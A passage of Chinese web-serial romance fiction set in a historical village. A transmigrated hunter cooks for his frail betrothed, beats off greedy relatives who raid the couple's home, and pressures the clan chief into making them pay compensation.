他也没想太多,就是觉得这小子年纪轻轻身体就跟亏空了似的,虚的要命。 都听说古人寿命短,不会都是因为从小挨了冻,吃得不好造成的吧。 总之,他不想让柳时雨有事,他是他来到这个世界认识的第一个人,也是救了他的人,他说什么都会护住他,让他这辈子舒舒服服健健康康。 “这里有风,饭还要一会,别蹲在这,进屋去。”凌锋看着灶旁的小哥儿说。 “不要咳咳,”小哥儿摇头,轻咳了声,“烤着火呢不冷的,我给你看着,添添柴。” 柳时雨白皙清丽的脸蛋被火光暖着,烧去了那股与生俱来的清冷,眉眼含着淡淡的笑,趁着他的五官更加熠熠生辉,更美了。 他目不转睛凝着男人英俊的侧颜,心里漾起微微波澜。 他今日说相同他早日成礼,这般关心他照顾他,是不是代表,他们之间也是有可能成为一对真夫妻。 柳时雨发着呆,突然不知怎地,又想到了中午他不舒服时,余斌说他有孕的话。 他眉间的笑骤然消失,眸子也黯淡了些许。 他是个哥儿,孕痣本就不够鲜艳不好生养,十岁那年上山采药,还不小心落过水,之后身体便常年伴有寒症,这么多年没银子治疗也没顾着养,他日后只怕是很难有孕。 过去他从未在意过这些,只求条活路。 可如今有了心仪的男子,有了成家的想法,日子有了希望... 柳时雨喉头哽咽了下,一股失落自厌的情绪涌了出来。 没有哪个男子会不想同自己的夫郎绵延子嗣吧。 11.攒老婆本 这个季节新鲜青菜比平日要贵一些,寻常百姓极少能吃上,自个儿地里种的基本也都会拿去换银子。 柳时雨打小多与发苦发涩的野菜为伍,没想到这打过霜的青菜清炒起来味道竟是这般脆甜爽口。 切碎的那些拌进米粥里,也更添了许多风味。 凌锋看了眼小哥儿吃饭食欲盎然的模样,唇角勾起点富有成就感的笑。 那盘青菜他加了丁点猪油炒,没敢放多怕他腻,增香就行。 既然他不爱吃肥肉,那就以这种方式给他额外补充脂肪。 “再尝尝这个。”凌锋又从锅里端出两碗鸡蛋羹,往上面分别放了个小勺。 他蒸前特意撇过沫,色泽还算不错。 柳时雨星眸微闪,捏着勺子迟迟未动,这东西他只在很小的时候见过,奶奶偷着给堂弟堂妹们做的,没他的份儿。 他有回躲在角落瞧见了,馋得不行偷尝过一点儿残留的底。 是好吃的,但也有股淡淡的蛋腥味,没这个看着香。 凌锋把另外一份蛋羹和粥给柳小爹送去,折返后却看到人还一口没动。 “怎么?不爱吃这个?”他坐下问。 柳时雨一下拉回思绪,忙摇头,随即很小心地挖了一勺放进嘴里。 像豆花儿一样的口感,鲜嫩咸滑,丁点腥味都没有,混着淡淡葱油的香,简直是味蕾极妙的享受。 他目光盛着含蓄的惊喜,看向男人:“凌大哥,你手艺真好。”原来他说的不是客气话,连一碗简单的蛋羹,都能做出这样上乘的味道。 凌锋被夸笑:“爱吃以后常给你做。” 这时代香油金贵,酱油口味重不够鲜,他就只好炸点葱油淋在上面,没想到反响还不错。 “其实家里那些肉你可以烧来自己吃,不必陪我一起吃这些清粥小菜。”柳时雨不好意思到。 经这些时日的了解,他知道他向来无肉不欢,是个龙精虎猛的汉子,这顿总觉得也有些委屈他了。 凌锋呼哧几口就把盆里剩下的粥下肚,看向对面吃得斯斯文文的人:“没事,晚上吃清淡点养生,咱两一块儿活到99。” 他随口瞎说,小哥儿却被他这玩笑逗趣。 “对了,明天我会跟余斌上山待几天,住在寮棚里,他发现了一个大家伙的踪迹,估计能卖不少银子,我们决定去蹲一蹲,也好趁着年前这一波多攒点。” 到时候成亲办喜酒也需要钱,总不能太寒酸。 凌锋话音落下,倏地黑眸警觉一厉,朝着某道偷窥的视线看去。 夜月初悬,只见一个人影晃过。 “几天...是多少天?”柳时雨没觉察到异样,满脑子都是男人要上山的事,怕他危险,也怕会分开太久... “三五天吧,”凌锋收回目光回答,“或许用不了这么久,你在家洗东西都用热水,别舍不得,调理脾胃的药也记得煎了喝,你住那屋的柜子里我放了包蜜饯,就当你乖乖喝药的奖励,一会儿苦了也去含一粒。” 听着这些不放心的叮嘱和交代,柳时雨心中那点焦虑瞬间烟消云散,暖暖涨涨。 蜜饯,当真是拿他当成孩童哄了,他哪里需要此种娇养之人才得以享用的吃食。 比起过去拼尽全力想活下去的苦,药的这点又算得了什么。 “谢谢你凌大哥,谢谢你对我好。”小哥儿眉眼认真地说,他看着男人,突然有种想投进他怀里,同他拥抱一会儿的冲动,那眼神灼热热的。 这么正经的道谢倒让凌锋不好意思起来了,他别别扭扭地回句不用,开始收拾碗筷。 “今日买的被子你不如拿一床去?”柳时雨跟着起身,岔开话题,“我可以同小爹一起盖的。” 凌锋头也没抬将碗垒好:“俩人一起盖容易漏风不够暖和,我身强力壮火力旺,你犯不着为我操心。趁锅里水还热,去洗漱吧,早些休息。” 柳时雨瓮声答应,很听话地照做。 夜渐深,柳时雨将缝了一半的衣裳放回框里,吹灭油灯,打着哈欠上了床。 靠里还没睡着的柳小爹听见儿子动静,转过头问了他一嘴什么。 “我同他提了,”柳时雨轻声回答:“他没要。” 小爹默了两秒,突然欣慰且感慨地说:“这汉子品行难得,是个顶好的,你们小两口日后好好过日子,爹将你交给他,放心。” 小哥儿闷闷地嗯,半张脸蛋埋进暄软舒适的新被子里,浑身上下都暖和得紧。 他黑暗中的唇角幸福上扬,心跳很快。 凌大哥不要便不要吧,等他们成婚后,自己这床被子分他一半便是... . “奶,你是没见着那灾星现在日子过得有多好!” 正值晌午,饭点。 柳家老屋传出一小哥儿同长辈骄矜耍性子的声音。 柳知月坐在桌前,看着这一桌子的清汤寡水,心里怎么着都不平衡不痛快,怨气冲天。 “他身上那件新衣裳,光那料子看着就老值钱了,昨儿个白日,我还见他同他那捡来的汉子在家请客吃肉呢,什么猪五花,腊野兔,老大一碗拿来招待外人,当真是一点都不知心疼,跟发了什么大财似的。” “真有你说的恁好?”柳家老奶杨大莲吧唧着嘴里的面疙瘩,嗦口筷子夹了根咸菜,一脸的不信。 桌上其余人,柳家老爷子和没分出去的二叔三叔一大家子,看起来也没拿他说的话当真。 “千真万确!”柳知月急了,“那肉我光在外头闻着就老香了,而且这不止这呢,那汉子晚上竟还给他蒸了鸡蛋羹!日子过得比咱们家都好了,”他撂下筷子,“他凭什么越过咱们去!” 他也想吃肉,不想喝面疙瘩汤就咸菜,可除了逢年过节,他们家哪能放开了沾那荤腥。 “还有这事,个杀千刀的,”杨大莲也冒了火,“不知道孝敬爷奶,啥客人,比他爷奶还重要?” “没见过,看着不像我们村的。”柳知月撇嘴,肚子不合时宜地咕咕叫,就更气恼了,“我不想吃这些,我也想吃肉,奶!”他闹起了脾气。 “哎哟娘的乖月哥儿,你羡慕他做甚,他哪比得上你呀。” 刘桂花忙哄着自家儿子,将筷子塞回到他手里,叫他吃饭,“论才情性子那柳时雨哪哪儿都不如你,不过长了张狐媚子脸,以为捡了个男人便风光的不得了了,你瞧着吧,等那汉子新鲜劲过了,不愿当冤大头了,看还拿不拿他当回事,他往后怕是连娃都生不出,落不得什么好下场!” 听完这话,柳知月的脸色反而一点都变好看。 他指头将手里的筷子捏得铁紧,咬牙切齿,眼神满是不甘和嫉恨。 他这么些年唯一气愤在意的就是他生得不如柳时雨好看这件事。 他每回看到那张脸,都恨不得冲上去将他划烂! 凭什么,都是一个祖宗出来的,凭什么就他可以长成那样! 从小到大,村里人再怎么议论他编排他。 他和村里的同龄娃再怎么羞辱他,欺负他。 都没一人从容貌这方面贬低过,人人都对他那张脸心服口服。 他当真是恨得牙痒痒! 还有那日,那外来汉竟为了那灾星搞那么大排场提亲,买了那么多好东西。 凭什么他能落到这样的好。 若当初救人的是他... 这一切就该是他的!都怪他抢了他的机遇。 “娘,你说我也嫁个猎户如何?”柳知月脑子不知道想什么,突然说:“这样往后就不愁没肉吃了。” “整日在山里头搏命的粗汉子有啥好,”知儿在想啥,刘桂花哄道:“我们月哥儿将来是要嫁秀才公的,只有此等有学问的男子才配得上你,待未来科举高中再谋个一官半职,那你可就是官老爷家的夫郎!不比嫁那劳什子猎户好。” 柳知月心里稍微宽慰点,他可是自小上过学会识文断字的,这村里头除了族长家的,自然没人能比得上他。 而且猎户大多凶神恶煞,生得又丑又糙,他才受不了。 不过,他脑海中不知为何又浮现出了那外来汉的脸。 那人怎地就生得那般俊,高大威猛,还会做饭,可不像村里人传的那样,不会疼人... 若是这夫君给他,他也不是不行。 秀才好是好,只是总觉得太过文弱,有一股子酸腐气,不够阳刚。 . 凌锋上山前被族长叫去聊了聊成亲的事。 按照村里的规矩,夫郎嫁人前那半月是不能同未来夫君见面的。 族长想着先批间屋子给他,叫他一个人住过去,等到时礼成随他们怎么搞。 凌锋听完觉得麻烦得很,搬来搬去,那么长时间放着柳时雨孤儿寡爹在家,他也不放心。 他想也没想,直截了当问族长,嫁人前不能见,那如果不是嫁呢,换成他入赘是不是就不用守这破规矩了。 于是就这样,他凌锋从娶亲变成了柳家赘婿。 村里的事儿想来瞒不过夜,有什么风一吹就传得人尽皆知。 乡亲们这一听更觉不得了了,那汉子当真心甘情愿入赘? 除了大户人家或者官宦人家的贵公子,可从未听说过哪个哥儿招婿,谁家顶天立地汉子会赘给一个什么都没有的哥儿呀。 一时间有唏嘘,还有些说闲话的,看不起凌锋的。 村里未婚的姑娘哥儿更是攀比了起来。 作为当事人凌锋还什么都不知道,在深山老林里一心一意蹲他的‘老婆本’。 上午时分。 柳家老屋。 柳知月气冲冲回家,直奔后院找杨大莲。 “奶,我越想越替您生气,替您不值。” 他吸口气,努力不让自己看起来过于恶毒败坏,像是在撺掇,“您就该去叫那柳时雨将那些银子聘礼还有肉全都给咱们,他凭什么过那好日子!他是您孙子就该先紧着孝敬你,他克死了大伯,害您老人家失去了儿子,他这辈子就配不得好!就该吞糠咽菜受一辈子磋磨吃一辈子苦!” 杨大莲是个耳根子浅的,爱算计占便宜,这话还真叫他听出几分理来,尤其是后面那几句,更是觉得老大一家都欠他的,甚至觉着自己吃了亏,那些东西就都该给他,给他老二老三家用。 “可那贱蹄子主意大着呢,打小就不亲我,他定是不会肯给我的。”杨大莲不满道。 “那又如何,您把我爹和三叔都叫上抢了他便是,他那身子骨弱不禁风的,能斗得过谁?”柳知月继续煽风点火:“而且我听说,那猎户这几日上山上去了,正好不在呢...” 还在心里琢磨的杨大莲一听这话,那得了,直接把手里的活一甩跑出了家门。 柳知月看着杨大莲的背影,眼底的妒火和得意呼之欲出。 他吃过朝饭去村里散步,听到了乡亲们讨论那外来汉的事,娶就不论了,他竟是要入赘给那丧门星! 他凭什么!他绝不会让柳时雨好过! . 凌锋一刻没多耽搁,大步流星从山上下来往家赶。 好不容易得空回来看看,可不能在道上多费时间。 他走在黄土路上,隔得老远就瞧见自家外头围满了看热闹的乡亲。 这场景怎么这么眼熟。 哦,定亲那天也是这样。 凌锋蹙起眉头,渐觉得不对,赶忙加快奔过去。 “让让。”他迅速拨开人群,还没看见怎么回事,就听到一个语气凶巴巴,却格外清悦顺耳的声音。 “你们都给我放下!都给我滚开!”柳时雨握着长棍,以一己薄身拦在鸡舍前,漂亮的眸子满是气愤,“我告诉你们,你们今日若是真当了这强盗,真动我分毫,我就叫我男人上门打断你们的腿!” 柳家二叔和三叔一人手里抱床凌锋给买的新被子,现下还要去夺屋里的肉厨棚里的鸡,只有锁在柜里的布料没遭毒手。 柳时雨两个叔都是五大三粗的壮汉,那杨大莲也膘肥体壮,他哪里是他们三人的对手。 只能以此威胁。 好家伙,凌锋确认人还生龙活虎着便也放了心。 看到小哥儿这副‘泼辣’的模样甚是稀奇。 平时在他面前就跟只清冷小白兔似的,现在这么硬气。 也是,这小家伙将那母鸡宝贝得跟命根子一样,这几个活得不耐烦了敢来抢。 12.最护犊子 “你这个小贱人!敢这么跟你奶说话的!”杨大莲蛮横地指着柳时雨鼻子骂。 “忤逆长辈!”柳二叔秒跟上老娘的节奏,跟着跳脚,“我今日非得替大哥好好教训教训你这个不孝子!” 他说着胳膊高高扬起,对准柳时雨那张嫩呼的小脸就要扇。 可下一秒他的手腕跟被铁钳住了似的,僵在半空中动弹不得。 还没等他叫嚷,他连胳膊带人被猛地甩退,胸口也同时遭受了势大力沉的一脚! “哎哟!!”柳二叔飞出两米远,重重砸进泥尘里。 手里的棉被掉到地上沾了灰。 他胸腔像被震碎了般,痛得在地上直打滚,发出阵阵哀嚎。 围观的众人都看傻了眼,这会儿才恍然回神,瞠目结舌地瞧着挡在柳时雨面前的凌锋,和身边人窃窃私语。 这外来户什么时候来的,刚才那速度也太快了,那一套连招丝滑利落,看都没看清,眨个眼的功夫就结束了。 “我的娘啊老二呀,我家老二,”杨大莲拍着大腿哭丧,赶紧去搀宝贝儿子,完了瞪向凌锋二人,吐着口水骂:“你这个眼瞎流浓的小杂种!敢这么伤我儿!”他说完扭头冲着柳家三叔,“老三!快替你哥报仇打死他!” 被护在身后的柳时雨反应过来,担心男人受伤,紧张得一把抱住他的手臂。 凌锋脸上挂着看猴戏般散漫的笑,眸中却带点冷淡睥睨,他侧目,递给身后小哥儿一个宽慰的眼神。 柳家三叔比二叔块头稍微大点,标准的乡野庄稼汉,体格健壮,可跟凌锋比起来有种莫名的笨重,身段和力量感都差得远。 柳三叔看看老娘看看凌锋,攥紧拳头跃跃欲试,却又迟迟没敢真上,在这初冬季节额头都冒了汗。 这猎户的眼神实在有点骇人,身上沾着股子血腥气,跟个煞神一样,像是才在山上杀了几百只野猪似的。 可乡亲们都看着呢,大丈夫要是怕了,他日后面子往哪放。 凌锋正要不耐烦,就听到声豁出去了的喊叫,接着那柳三叔像头疯牛一样朝他撞过来。 他眉头微挑,黑眸波澜无惊地看着,随后在众目睽睽下抬腿弯膝。 “砰”! 柳老三也飞出去了。 还吐了血。 “我滴儿啊!老三!”杨大莲哭完这个哭那个,见打不过就开始坐在地上撒泼打滚,“族长呢!给我叫族长来,这个杀千刀的畜生把我两个儿打成这样!还有没有王法了!你一个外来汉,咱们柳家庄好心好意收留你住着,你就是这么对我们村里人的?!” “诶,话可不能这么说,乡亲们这么多双眼睛都看到了,是他先朝我冲过来的。”凌锋拍拍小哥儿抱着自己胳膊的手,示意他没事先松开。 他上前几步,吊儿郎当地冲杨大莲说:“难不成他要揍我,我就得老老实实站在原地给他揍?天底下哪有这样的道理?再说,我马上就是柳家婿了,落了户自然也是柳家庄的一份子,可不存在什么外来不外来。倒是你们,像个打家劫舍的土匪一样跑到我家里抢这个夺那个,怎么?是觉得我不在,我们家时雨和老丈人孤儿寡爹的好欺负?” 凌锋冷下脸:“你要王法,那我也请乡亲们评评理,我今天要是没回来,就你们这几个仗势欺人的货,时雨还能好端端的站在这?” 柳禾他娘王桃英接茬:“就是啊,杨大婶子,十年前雨哥儿他阿父刚没,你就把他们孤儿寡爹给赶出去了,他们父子是死是活,你可从来没管过,这会儿倒想起来要孝顺了。” “都分家这么多年了,见人家日子过好了,就领着两个叔上门来抢东西,也忒不要脸了。” “黑心肝!” “还有这档子事呢。” “太说不过去!” 大伙被煽动,都开始帮腔不平。 村里人站队这种事,有时是站理,而有时是站你的家底,太过穷苦的人家,没有人情往来,很多时候连理都到不了你这边。 现在这情况,除了最开始发声的,基本都是在观形式跟风。 “俺家家事,跟你们有啥关系!”杨大莲被说得面上挂不住,脸臊,但依旧嘴硬。 “都分家八百年了,还算个劳什子家事。” “真不要脸。” 杨大莲气急败坏:“那我也是他奶!孙儿孝敬爷奶天经地义!他这个丧门星,我跟他爷把他分出去,都算是留情了!” 王桃英:“哼,真是腆着个老脸没够。” 凌锋之前在村里大概听说过柳时雨的本家亲戚,但没见过,知道的也不多。 现在这回才总算理清了其中关系。 还奶奶呢,有哪个做奶奶的把亲孙子往死里逼的。 心都偏到咯吱窝了。 凌锋黑眸阴沉又往前走了两步。 杨大莲一看他动,脸上表情就兜不住惊恐,怕他动手,但还是死撑着面子。 “你,你要干啥?” 男人薄唇勾起点讥讽的冷笑,缓缓凑近,用差不多只有他们两个能听见的音量说:“你再骂他一句丧门星,我就割了你的舌头。” 杨大莲哆嗦了下,那张皱纹沟壑的脸写满害怕。 他想往后躲,可又被凌锋那笑里藏刀的表情钉死在原地。 “老子向来能动手绝不动口没别的就是护犊子,我们家这小犊子身体弱,受不得折腾遭不住吓,更容不得半点闪失。” 凌锋嗓音低沉慢条斯理,可吐出的每一个字都像毒蛇吐息,含着杀意:“我马上还会上山,要是让我知道,我不在的期间你们还敢来,我的人要是少了一根头发,你那两个儿子可就得仔细着点了,晚上千万别走夜路,不然我可不保证,等天亮,他们的手筋脚筋还在不在。” 噗通!一声。 杨大莲竟吓得瘫软在了原地。 她难以置信,像是见鬼了似地看着凌锋退着往后爬,嘴里喃喃着不可能,你,不可能。 她自然也听说过柳老赖的事,咋想都不觉得会是凌锋这么个快成亲的小伙干的。 肯定是故意的,这件事人人都知道,他定是故意拿这个事儿吓唬他们的。 杨大莲自我安慰,一刻也待不下去,搀着两个儿子跌跌撞撞扒开人群逃命一样往家跑。 始作俑者柳知月在后排看了全过程,他一个还未出嫁的哥儿,自然是不会跟着出面的,不然失了形象,往后还如何相看人家。 本是想来观摩场好戏,看柳时雨的笑话,没想到这猎户竟然回来了,还这般护着他。 那丧门星性子古板无趣,成日对人冷冰冰,真不知道这汉子喜欢他什么,脸好看又有什么用,别的样样都不如他! 柳知月越想越不服气,盯着凌锋绞紧了手里的帕子。 他娘刘桂花寻来,见他不肯动强行将他拉了回去。 这一家子讨厌鬼走时鸡舍里的那只公鸡不知怎么地飞了出来,扇动着大翅膀撵在他们屁股后头啄。 滑稽的一幕引得乡亲们哄堂大笑。 热闹结束,人都散了。 柳时雨有些身心疲惫地松了口气。 他对上凌锋刚好转头看他的黑眸,心中有些苦涩。 不知道他会怎么看他,怕是形象全无了吧,让他撞见了自己这么难堪的时候,有点丢脸。 可他要想保护自己就只能这么张牙舞爪不顾形象。 “凌大哥,你怎么突然回来了?”柳时雨率先问,目光下移又注意到什么,“你这里怎么了,怎么还有血?”他着急走上前。 凌锋低头,胸襟那儿喷溅了点,估计是之前在山上跟余斌杀野鸡烤来吃的时候沾上的。 “没事,不是我的。”他立马解释。 两人刚想再说点什么,主屋忽地传出声东西打翻的动静。 柳时雨一惊,赶紧跑过去查看情况,凌锋紧随其后。 屋里东西之前被杨大莲他们翻得有点乱,本该在床上躺着的柳小爹估计见儿子被欺负,着了急,竟自己下了地扶着墙想往外走,可到底身子太虚又病痛缠身,人直接摔到在了地上半天没起得来。 “小爹,你没事吧?”柳时雨冲过去。 凌锋眉头微皱,动作利索帮着把柳小爹重新抱回到床上。 “雨儿,儿啊,他们可打你了?”小爹眼眶发红,心疼地摸摸儿子脸。 柳时雨心里难受,摇摇头:“我没事爹,幸好凌大哥回来了,他们没伤到我。” “那就好,那就好,小爹没用帮不了你,连这都没法护你。” “您别这样说。” 确定柳小爹没有摔伤哪里,两人便又一起出去收拾那些被杨大莲等人抢走又扔下的东西。 柳时雨将那原本崭新,他自己都舍不得弄脏的被子晾到竹架上。 然后小心翼翼,一点点拍去上面的灰尘。 他面容平静,没有表情,可眼皮和鼻尖始终染着点薄粉。 凌锋从一开始就在观察人的情绪,他默默把那些乱七八糟的都规整好,然后走到人身边。 总觉得这小孩儿看着一副没事人的样,却压抑得很,而且一声不吭,也很奇怪。 难道是吓着了。 还是说到底是亲奶奶,被这么对待觉得心里委屈了? 凌锋清清嗓子,柔声道:“以后他们来一回我揍一回,有我在,绝对不会再让你受欺负。” 柳时雨一愣,漂亮的眸子水润清亮,有些诧异地看了男人一眼。 本来不说还没怎么,这么多年他也一个人抗过来了。 可现在,他当真是觉得委屈了,堆积在心底的苦楚一口气全蹦了出来。 他还很生气,为什么那些人可以这么不要脸,占了父亲本该给他们的地契银子,还总是要这般来欺负他和小爹。 柳时雨鼻尖一酸,眼眶瞬间被泪水充盈,欲夺势而出。 他慌忙背过身,不想让男人看见自己的异样,随后深吸口气闷闷嗯了声,继续假装忙活。 光从声线凌锋就听出人的哽咽,没什么能瞒过他。 他都能想象出那张脸是如何脆弱,如何伤心的了。 真不知道他从小到大受过多少磨难,十年前就被赶出来,那才几岁,小小的他,又是怎么熬过这些年的。 凌锋心里涌现出一股极其复杂的滋味,小哥儿逞强的样子看着可怜又叫人心疼。 幸好他不放心,抽空下了山,不然指不定会酿成什么后果。 他黑眸盯着人轻颤的薄肩,突然觉得,就算是同性,兄弟之间,拥抱一下应该也很正常吧? 安慰一下而已。 凌锋想着,手也跟着大脑伸了出去,宽大的掌握住那清瘦的胳膊,臂弯稍一回扣 ,便将人从正面带进了怀里。 “没事的,心里头不痛快就发泄,发泄出来就好了。”他轻拍着怀中人的后背,像哄孩子似地。 柳时雨比凌锋矮一个头,身形也瘦了不止一圈,被他搂着就显得更加小小一只,不说从后面,光从侧面看若不是有两双腿站在一起,都看不出他还抱着个人。 柳时雨的脸蛋贴在男人结实的胸膛,陷在他的怀抱里,整个人都蒙了。 男人身上有股子血腥气并不好闻,可格外的有安全感,格外令人心安。 潜意识就感觉这个人,好像无所不能,只要有他在,遇到任何事,都能轻而易举地解决掉。 他第一次体会到这种有人撑腰的滋味,原来是这样的好。 瞬间什么坚强什么隐忍都支撑不下去了。 “呜...”小哥儿将脸深埋,只不小心溢出丁点细弱的泣音,含蓄内敛微微地颤。 凌锋感觉到自个儿胸口的布料很快被一股温热的液体打湿。 清淡的草药香飘进了鼻子里... 他喉结不动声色滚了滚,有点僵硬地保持着动作。 不知过了多久,怀中纤细的人似是哭完了,心里的郁结之气总算消散了。 吸着鼻子退出了他的怀抱。 “谢谢你凌大哥,”柳时雨嗓子沾点哭后的哑,不好意思地用手背蹭去脸上的泪痕,“又麻烦了你一回” 小哥儿眼眶还红着,兔子似的,眸子水汽氤氲。 凌锋大大方方:“一家人什么麻烦不麻烦,你好点就行,要是还不解气,我就去帮你把他们腿打断。” 柳时雨愣了下才反应过来,原来自己那句吓唬人的话被他给听见了,霎时破涕为笑,连害臊都忘了。 “开心了?”凌锋勾了勾唇,黑眸含笑,“你那两个叔就算不断腿也伤的不轻,我之前踹那两脚可没收着,够他们在床上龇牙咧嘴躺几天了。我也警告过你奶奶,他们短时间内肯定不敢再来。” 经这么一下,柳时雨心情轻松了许多。 两人一起把家都重新打理好,期间小哥儿还跟凌锋坦诚相待说了点以前的事情。 他刚满16那年,他二叔和他奶假意良心发现对他好,然后哄骗他将他绑起来,卖给县城里的某个老爷做小妾,当个玩意儿。 他那时怕的要死,拼了命地不从,才从半道上跑掉。 也是自那以后,他从对他们的怨和生气,变成了恶心和麻木。 再遇到这家的人,永远都做出一副深仇大恨的模样,只要同他搭话,他直接拿起斧子就要劈。 因为这样他们才知收敛点。 没想到时间现在又助燃了他们心里的恶。 “凌大哥,这个给你。”柳时雨从屋里的柜子里拿出一件按照凌锋的身量缝制的新衣裳,和一双新鞋,“你身上这件都脏了,换下来我给你洗了吧。” 这衣裳从许诺凌锋的那天就开始动工了,杨大莲他们来闹的时候他刚好做完,幸亏没被他们看见弄脏。 凌锋到是有点意外,没多客气,接过来直接就去自己那屋换上了出来。 “嗯,手艺真好,”他身形板正挺拔,衣服他穿着也正合适,见小哥儿看他还很配合地展示了一圈,“还是夹棉的,这下在山上能暖和不少,余斌那小子这回得羡慕我了。” 柳时雨抿唇露出点开心的笑,心里涨暖,未来夫君穿着自己亲手缝制的衣服,还夸了它,确实令人满足高兴。 “这给我吧,我帮你洗了。”他说完,怕凌锋拒绝,又赶忙道:“我用热水,不会冻着自己。” 他就是想帮他洗。 柳时雨说完,见男人没有要重新把脏衣服拿回去的架势,便微垂着脸去厨棚烧水。 他抚摸了下这衣裳胸口那暗沉的一块。 那是他的眼泪,是他抱着他哄他时弄上去的。 小哥儿耳根又憋不住红了红,这才将那衣裳扔进盆里。 “时雨,尝尝。”凌锋端着个碗,手上捏了颗青红色的野果,伸到人面前。 柳时雨慢半拍才反应过来,这季节,从哪儿找来的。 他抬眸看了男人一眼,这才张开唇轻咬住,然后自己拿着吃。 酸甜的汁水炸开,酸大于甜,令人有种口舌生津胃口大开的感觉。 “怎么样?”凌锋给自己嘴里也扔了颗。 “嗯,挺好吃的。”小哥儿舔舔淡粉的唇,果汁卷进嘴里,“现下这冬日,你从哪得来的。” “深山里头发现的,跟余斌一人分了点,想着带回来给你和你小爹吃。”凌锋没多想地回答。 他就是尝过之后觉得这玩意肯定维生素丰富,家里这两病人多补充点总没错。 可这话到了柳时雨耳朵里,就是心上人似乎也始终在惦记着自己,什么好东西都想着拿给他。 “对了,”柳时雨突然又想到什么,有点担心道:“你把余斌大哥一个人留在山上,会不会不太好,他会不会对你有意见...” “没事,他不是那小心眼的人,到时候请他喝喜酒就行。而且白天野兽极少现身,我两说好轮流回家看看,天黑前赶回山上。”凌锋回答完,顺手把果子碗放到土灶上:“你吃着,我出去办点事。” 小哥儿愣愣:“嗯,好。”想张嘴问多句办什么事,可男人腿长步子大,早走远了。 13.是个人才 “这是,谁家的?”柳时雨有些迟疑地问。 村里养狗的人家不少,粮食来之不易,大多是每日给口吃的饿不死便行,极少能有将小狗崽养得这般好的,定也不会随意送人。 “管它之前是谁家的,现在是我们家的。”凌锋走到自己那间屋,将狗放下,“先把他养在我这,等山上活完事儿了,我再给他搭个狗窝。往后他长大就专门负责看家护院,省的什么人都敢往你跟前凑。” 以凌锋过去接触战犬的经验,这是只纯正的马犬,骨骼强壮潜力无限,不日必长得威风凛凛。 柳时雨见男人一脸认真,知道他是为了自己,便也不再多顾虑。 “好,听你的。”他答应,又注意到他身上带进来的风霜,下意识便掏出帕子,上了手:“外头可飘着冰雨呢,你这脸上都打湿了,一会儿回山上记得戴上斗笠,莫着了凉。” 柳时雨动作温柔,抚过男人深邃的眉宇,高挺的鼻梁,再到那轮廓分明英气逼人的面颊下颌。 一点点,细心地帮他擦拭干净肌肤上的水珠。 帕子是当初凌锋带回来绣着鸳鸯的那块,被小哥儿日夜贴身,沾上了他身上那股特有的草木幽香。 凌锋一时竟忘了做出反应,甚至在人抬臂那刻,因着身高体型差距微俯了下身,有他这个参照物的衬托,人的手也显得更加纤细无骨,仅及他半张脸大小。 柳时雨亦有些迟钝地悟会到两人此时的举止亲密,他稍顿,将帕子慢收了回来。 随即又忍不住掀起长睫,意味不明地同男人对视一眼。 只这一眼,他便感觉两人间仿佛连上了一道黏腻难断的丝,叫他心跳不止呼吸紧促。 凌锋后知后觉直起背,要说前面他确实缺根筋,但刚目光碰撞那一下,他可真是与人同频了。 确实是有点暧昧... 他以前最是警惕,没想到会这么快就对一个人的靠近如此习惯。 他刚到这个世界那会,被救起,似乎就对他的气息没什么防备。 莫非这就是所谓的缘分? “下次,我自己来就好。”凌锋眼神闪躲,只想快点打破这不对头的气氛,咬牙逃去厨棚那架锅烧饭。 柳时雨脸色微变,听着那叮铃哐当的声响,闷闷地蹲下逗狗崽儿。 山上的陷阱需要每日检查加固,凌锋本就是忙里偷闲,不好耽搁太久,帮人把午饭和晚饭一块做好,自己简单对付了几口便收拾收拾离开了。 柳时雨下午继续用布料缝衣服,小爹同他一样,已经好些年没穿过新衣裳了,他想也为他制上一件,他们一家今年一起过个好年。 小狗认主很快,撒着娇窝在他脚边取暖。 “雨哥儿,雨哥儿在家吗?”外头突然有人喊。 柳时雨心里困惑,忙放下手头的针线活开门去看。 狗子摇着小尾巴屁颠屁颠跟上。 “俊生哥?”柳时雨迎上前,“你找我可有事?” 柳俊生是村里最有望考上童生的年轻人,只是家中贫苦,他一直都是半耕半读,勤工俭学,族长念他刻苦,平日里会叫他在族里帮忙记账,处理一些跑腿书写方面的小事,付他工钱。 “这是50文,你数数,没问题便画押收好。”柳俊生递来一小串铜钱,手上账簿登记着什么。 见柳时雨蹙着眉一副不明所以的模样,没等他多问,便率先解释:“这是你家汉子讨来的,说是你奶杨大莲,糟污了你家东西,将你吓着了,叫她赔的。” “她的银子?”小哥儿淡定的眸子微微惊大,满腹怀疑:“俊生哥,可是发生了何事?她怎会如此好心?” 柳俊生表情有些复杂地笑笑,他都不知道该从何说起。 那新落户的汉子当真是个人才,跑到族长家吵着嚷着非要向他老人家讨个公道。 说杨大莲那一家人趁他不在跑到他家入室抢劫,还持械伤人,将他家里的东西都糟蹋了,夫郎也吓着了,简直是欺人太甚。 说这事要是不赔他点银子赔点损失费他定不善罢甘休。 族长一把年纪了,许多此类纠纷都是和稀泥,自然是懒得多管的,想着多一事不如少一事,劝劝忽悠过去。 说都是本家亲戚一家人,没他说那般严重。 他也听说了,他家里人和东西都没事,反而杨大莲那两儿子,时雨的二叔三叔都挨了打,他这气也算是出了,这事儿便就这么算了,叫他莫得理不饶人。 那汉子不听不听。 说怎么就不算严重,非得出了大事儿才肯管是吧,你作为族长怎能这么不把村里的治安放在眼里。 乡亲们那么多双眼睛都看到了,全村人都可以作证,今日若是就这么便宜放过了他们,那寒的可是大家的心。 回头定是会有人有样学样,外村人若是听说了都会跑来抢咱们村,反正没人管,到时村里人心惶惶,谁日子都别想再好过。 再退一步说,他们算什么一家人,都分家十几年了,他们可是有衙门认可的分家文书的,白纸黑字画了手印。 今日族长若是不给一个交代,那他被逼得没法,便只好上镇里上县里,请里正和官府的人主持公道。 反正他人证物证俱在。 真闹到这步,那就是族长不作为,是包庇罪犯,不顾族人安危。 到时还得请族长辛苦辛苦这一把老骨头,同他去跟堂候审。 那汉子当真是三寸不烂之舌,头头是道,将族长说得一个字都插不上,脸黑红得跟猪肝似的。 他记得他还造了个没听过新鲜说法,说他将柳家那两叔打成那样,不叫斗殴,那叫正当防卫。 平头百姓大多都怵官府,不敢去招惹也不敢去触霉头。 在村里族长就是天了,何事都是找族长定夺,没成想来了个天不怕地不怕的。 有事没事便要请官家,请族长他上峰。 掐准了他老人家的七寸。 最终族长也实在是怕了他了。 没人说得过他,他这大块头估计也没人动得了他。 只要能快些息事宁人,早点结束这档子事,怎么着都行。 